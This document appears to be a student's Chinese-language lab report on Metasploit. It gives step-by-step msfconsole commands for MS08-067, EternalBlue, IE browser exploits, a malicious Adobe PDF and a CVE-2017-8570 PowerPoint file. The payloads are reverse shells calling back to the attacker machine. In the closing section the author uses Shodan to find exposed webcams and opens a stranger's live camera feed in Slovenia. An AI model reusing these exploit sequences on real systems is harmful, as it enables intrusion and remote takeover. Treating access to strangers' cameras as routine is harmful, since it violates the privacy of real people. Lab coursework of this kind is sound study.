目錄
實驗目的
- 本實踐目標是掌握metasploit的基本應用方式,重點常用的三種攻擊方式的思路
實驗內容
- 一個主動攻擊實踐
- ms08_067(成功)
- ms17_010永恆之藍(成功)
- 一個針對瀏覽器的攻擊
- 一個針對客戶端的攻擊
- adobe_cooltype_sing(成功)
- CVE-2017-8570(唯一)
- 成功應用任何一個輔助模塊
- gather/shodan_search查找網絡攝像頭(唯一)
基礎問題
- 用自己的話解釋什么是
exploit
,payload
,encode
。
- exploit:利用漏洞,達到攻擊控制受害機的一種手段
- payload:載荷,含有執行攻擊的代碼,來實現任何運行在受害者環境中的程序所能做的事情
- encode:對攻擊代碼進行偽裝,使其能正常運行並盡量免殺
相關知識
關於MSF
- 主要模塊:
滲透攻擊模塊(Exploit Modules)
、輔助模塊(Auxiliary Modules)
、攻擊載荷(Payload Modules)
、空字段模塊(Nop Modules)
、編碼模塊(Encoders)
、后滲透攻擊模塊(Post)
- 查看模塊源碼的目錄:
/usr/share/metasploit-framework/modules
- 進入某個模塊可通過
info
查看其信息,觀察其要設置的信息(帶yes的為需要設置的,若有默認值則不用 設)、可以攻擊的靶機(target)
- 查看模塊源碼的目錄:
- 三個用戶操作界面
- msfconsole:
msfconsole
- Armitage
- 啟動:
service postgresql start armitage
- 在kali中就是下面的妹紙,也可點擊圖標啟動
- 隨后配置端口
- 使用:點擊
connect
、yes
- 界面如下
- 啟動:
- Web GUI
- msfconsole:
- 攻擊方式
- 主動攻擊
- 搜索漏洞:
search cve:2018 type:exploit platform:windows
(cve后為漏洞年份) - 也可以:
help search
查看命令格式
- 搜索漏洞:
- 攻擊瀏覽器,獲取系統控制權
use exploit/windows/browser/ie_setmousecapture_uaf info 設置參數 payload options exploit 上鈎后 use auxiliray/server/browser_autopwn
- 攻擊客戶端應用,獲取系統控制權
- 攻擊Adobe Reader
use exploit/windows/fileformat/adobe_cooltype_sing info search type:exploit name:Excel platform:windows
- 攻擊Adobe Reader
- 主動攻擊
實驗步驟
一個主動攻擊實踐
ms08_067
攻擊方:kali
10.0.0.217
靶機:Win2kServer_SP0_target10.0.0.112
ms08_067_netapi是一款Metasploit中有點老的溢出攻擊載荷,攻擊者利用受害者主機默認開放的SMB服務端口445,發送惡意資料到這個端口,通過MSRPC接口調用server服務的一個函數,並破壞程序的棧緩存區,獲得遠程代碼執行權限,從而完全控制主機。
- 我們首先可以使用Armitage根據網段搜索出靶機:
Hosts
-Nmap Scan
-Quick Scan(OS detect)
(可以自動探測目標主機的操作系統)
- 找到我們的靶機
- 對靶機右鍵選擇
Services
,查看靶機上開啟的服務,有如下服務:
- 對靶機右鍵選擇
Scan
(Armitage會調用Metasploit的漏洞掃描模塊,定向掃描靶機,尋找存在的漏洞,為下一步確定攻擊方法提供參考依據)
- 菜單欄中點擊
Attacks
-Find Attacks
,Armitage會自動尋找合適的攻擊模塊,結束會出現下圖
- 此時我們先對靶機右鍵選擇
Attack
-smb
-check exploits
檢測哪些漏洞是存在的
- 這是可以選擇
Attack
-smb
-ms08_067_netapi
自動攻擊,設置端口為5330
,標記Use a reverse connection
,點擊Launch
- 發現失敗。。(注意這里自動攻擊會有默認的payload)
- 下面我們進入
console
手動換一種payloaduse exploit/windows/smb/ms08_067_netapi //選擇攻擊模塊 set payload generic/shell_reverse_tcp //選擇攻擊載荷 show options //查看配置信息 show targets //查看可攻擊的平台 set RHOST 10.0.0.112 //設置靶機IP,端口默認為445 set LPORT 5330 //成功后回連主機端口5330 set LHOST 10.0.0.217 //設置攻方IP set target 1 //這里為win2k(可通過“show targets”查看可攻擊的平台) exploit //發起滲透攻擊
- 攻擊成功!
- 對靶機右鍵選擇
shell 1
-interact
,先輸入run
在輸入dir
查看目錄信息
- 使用
msfconsole
效果如下
ms17_010永恆之藍
攻擊方:
kali 10.0.0.138
靶機:Windows7 x64 10.0.0.216
永恆之藍漏洞是方程式組織在其漏洞利用框架中一個針對SMB服務進行攻擊的漏洞,該漏洞導致攻擊者在目標系統上可以執行任意代碼。(SMB服務的作用:該服務在Windows與UNIX系列OS之間搭起一座橋梁,讓兩者的資源可互通有無。)
- 進入
msfconsole
通過search MS17_010 platform:windows
查看其可用模塊,我們選擇第一個exploit/windows/smb/ms17_010_eternalblue
- 輸入以下命令
use exploit/windows/smb/ms17_010_eternalblue //選擇攻擊模塊 show payloads //顯示可用攻擊載荷 set payload windows/x64/meterpreter/reverse_tcp //設置tcp反向連接 info //查看需要配置的信息及可攻擊的target set RHOST 10.0.0.216 //設置靶機IP set LHOST 10.0.0.138 //kali IP set LPORT 5330 //設置攻擊端口 set target 0 //設置win7靶機 exploit //發起滲透攻擊
- 攻擊成功
- 查看IP驗證在繼續后面的命令操作
一個針對瀏覽器的攻擊
ms11_050
攻擊方:
kali 10.0.0.138
靶機:Windows7 x64 10.0.0.216
瀏覽器:IE 8.0
- kali中輸入
msfconsole
進入控制台,依次輸入以下指令use windows/browser/ms11_050_mshtml_cobjectelement //選擇攻擊模塊 set payload windows/meterpreter/reverse_http //設置http反向連接 set SRVHOST 10.0.0.138 //設置靶機要回連的IP地址 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //設置攻擊端口 set URIPATH 20165330zyx //統一資源標識符路徑設置 exploit //發起滲透攻擊
- 在瀏覽器輸入
http://10.0.0.138:8080/20165330zyx
,IE出現警告彈窗,提示關閉程序
- 來看
msfconsole
這邊,沒啥反應
- 參考學姐博客,在IE中點擊
工具
-Internet選項
,修改如下安全設置
- 在進到地址,這回提示
運行不正常的加載項或惡意加載項導致 Internet Explorer 關閉此網頁
ms14_064
攻擊方:
kali 10.0.0.138
靶機:WindowsXP 10.0.0.171
瀏覽器:IE 8.0
此安全更新可解決 Microsoft Windows 對象鏈接與嵌入 (OLE) 中 2 個私下報告的漏洞。最嚴重的漏洞可能在用戶使用 Internet Explorer 查看經特殊設計的網頁時允許遠程執行代碼。成功利用這些漏洞的攻擊者可以在當前用戶的上下文中運行任意代碼。如果當前用戶使用管理用戶權限登錄,則攻擊者可隨后安裝程序;查看、更改或刪除數據;或者創建擁有完全用戶權限的新帳戶。遠程攻擊者利用此漏洞通過構造的網站執行任意代碼,影響Win95+IE3 – Win10+IE11全版本。
- 進入
msfconsole
通過search ms14_064 platform:windows
查看可選攻擊模塊,這里選用exploit/windows/browser/ms14_064_ole_code_execution
- 執行以下命令
use exploit/windows/browser/ms14_064_ole_code_execution //選擇攻擊模塊 show payloads //顯示可用攻擊載荷 set payload windows/meterpreter/reverse_tcp //設置tcp反向連接 info //查看詳細信息(發現可攻擊winXP和win7) set SRVHOST 10.0.0.138 //設置攻方IP set AllowPowerShellPrompt true //因為msf中自帶的漏洞利用exp調用的是 powershell。 所以msf中的exp代碼只對安裝powershell的系統生效 set LHOST 10.0.0.138 set LPORT 5330 set target 0 //設置winXP靶機 exploit //發起滲透攻擊
- 將生成的URL地址在winXP的IE中打開,發現成功建立了兩個會話
- 此時可以用
ctrl+c
退出當前狀態,通過輸入sessions -i 1
獲取第一個會話連接,並輸入ipconfig
驗證是否為靶機地址
一個針對客戶端的攻擊
Adobe
攻擊方:
kali 10.0.0.138
靶機:WindowsXP 10.0.0.171
Adobe Reader:9.3.0
- kali輸入
msfconsole
進入控制台,依次輸入以下命令
此時生成use windows/fileformat/adobe_cooltype_sing //選擇攻擊模塊 set payload windows/meterpreter/reverse_tcp //設置tcp反向連接 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //設置攻擊端口 set FILENAME 5330.pdf //設置生成的pdf文件名 exploit //發起攻擊
5330.pdf
,我們進入保存目錄cd /root/.msf4/local
,輸入cp 5330.pdf /mnt/hgfs/vm
復制到共享文件夾中,在移到windowsXP虛擬機中
- 控制台中輸入
back
退出當前模塊,輸入以下命令進入監聽模塊:use exploit/multi/handler //進入監聽模塊 set payload windows/meterpreter/reverse_tcp //設置tcp反向連接 set LHOST 10.0.0.138 //kali IP set LPORT 5330 //設置攻擊端口 exploit //監聽
- 靶機中打開pdf文件
- kali中發現回連成功,輸入
ipconfig
確認是否會連正確
- 發現無誤,就可以繼續后續的命令操作了
CVE-2017-8570
攻擊方:
kali 10.0.0.138
靶機:WindowsXP 10.0.0.216
Microsoft Office:2016 (64-bit edition)
- 2017年7月,微軟在例行的月度補丁中修復了多個Microsoft Office漏洞,其中的CVE-2017-8570漏洞為一個邏輯漏洞,利用方法簡單。網上已經出現該漏洞的利用代碼,影響范圍較廣。
- 該漏洞為Microsoft Office的一個遠程代碼執行漏洞。其成因是Microsoft PowerPoint執行時會初始化Script”Moniker對象,而在PowerPoint播放動畫期間會激活該對象,從而執行sct腳本(Windows Script Component)文件。攻擊者可以欺騙用戶運行含有該漏洞的PPT文件,導致獲取和當前登錄用戶相同的代碼執行權限。
-
解壓文件后進入該目錄,生成惡意PPSX文件:
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://10.0.0.138/logo.doc
(IP為攻方IP)
PS:用的時候會報錯No such file or directory: 'template/template.ppsx'
,只要在里面創建文件夾template
,將template.ppsx
挪到template
里即可成功。 -
生成反彈shell的exe文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.138 LPORT=5330 -f exe > shell.exe
(因為我的win7為64位命令中需要加入x64,IP為攻方IP) -
監聽來自ppsx執行反彈shell:
python cve-2017-8570_toolkit.py -M exp -e http://10.0.0.138/shell.exe -l shell.exe
-
進入
msfconsole
監聽use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.138 set LPORT 5330 exploit
-
將生成的
Invoice.ppsx
傳至安裝有Microsoft Office 2016的win7上,並打開該文件
-
發現回連成功
成功應用任何一個輔助模塊
- 在
msfconsole
中可通過命令show auxiliary
查看所有的輔助模塊 - 這里我選用了
gather/shodan_search
,使用shodan來搜索網絡攝像頭 - 關於
shodan
- Shodan是互聯網上最可怕的搜索引擎。
- 與谷歌不同的是,Shodan不是在網上搜索網址,而是直接進入互聯網的背后通道。Shodan可以說是一款“黑暗”谷歌,一刻不停的在尋找着所有和互聯網關聯的服務器、攝像頭、打印機、路由器等等。每個月Shodan都會在大約5億個服務器上日夜不停地搜集信息。
- Shodan所搜集到的信息是極其驚人的。凡是鏈接到互聯網的紅綠燈、安全攝像頭、家庭自動化設備以及加熱系統等等都會被輕易的搜索到。其真正值得注意的能力就是能找到幾乎所有和互聯網相關聯的東西。而Shodan真正的可怕之處就是這些設備幾乎都沒有安裝安全防御措施,其可以隨意進入
- 更詳細的介紹可參考這里
- 下面我們開始按以下步驟運用
- 進入shodan_search模塊:
use auxiliary/gather/shodan_search
- 查看需要設置的信息有哪些:
show options
發現我們需要設置APIKEY和QUERY,另外顯示yes的兩個都有默認值不用設置。 - 先去shodan官網注冊賬號,登陸查看賬戶API后設置APIKEY:
set SHODAN_APIKEY tPZf7UpklnPZ*********JFz567WYbt
- 設置查詢網絡攝像頭的語句:
set QUERY "webcamXP"
- 執行:
run
- 進入shodan_search模塊:
- 然后看到結果(下圖為部分結果)
在結尾處會有[*] Auxiliary module execution completed
顯示 - 現在我們隨便選一個
IP:Port
,復制到瀏覽器中看看可不可以看到畫面(選了一個Slovenia斯洛文尼亞共和國地方的。。。總覺得有點恐怖。。)
離實戰還缺些什么技術或步驟?
- 目前我們對某個漏洞的攻擊還是針對與網上搜索的資料和步驟,使用的也是很通用的攻擊手段,但是攻擊平台其實眾多,我們的靈活性還不夠高,並且攻擊的對象大部分也比較單一,對更高系統的攻擊的實現還是需要去開發的。
實驗總結與體會
- 此次實驗是開始實戰的很渺小的一部分,卻足以讓我花費很多心力,從搜尋攻擊模塊到找到看得懂的payload,在尋找靶機,攻擊步驟很明確,攻擊過程卻略顯心酸,好在最后大部分還是都成功了,我對MSF的掌握也更深了一步,也使得我的實踐能力更高了一層~
參考資料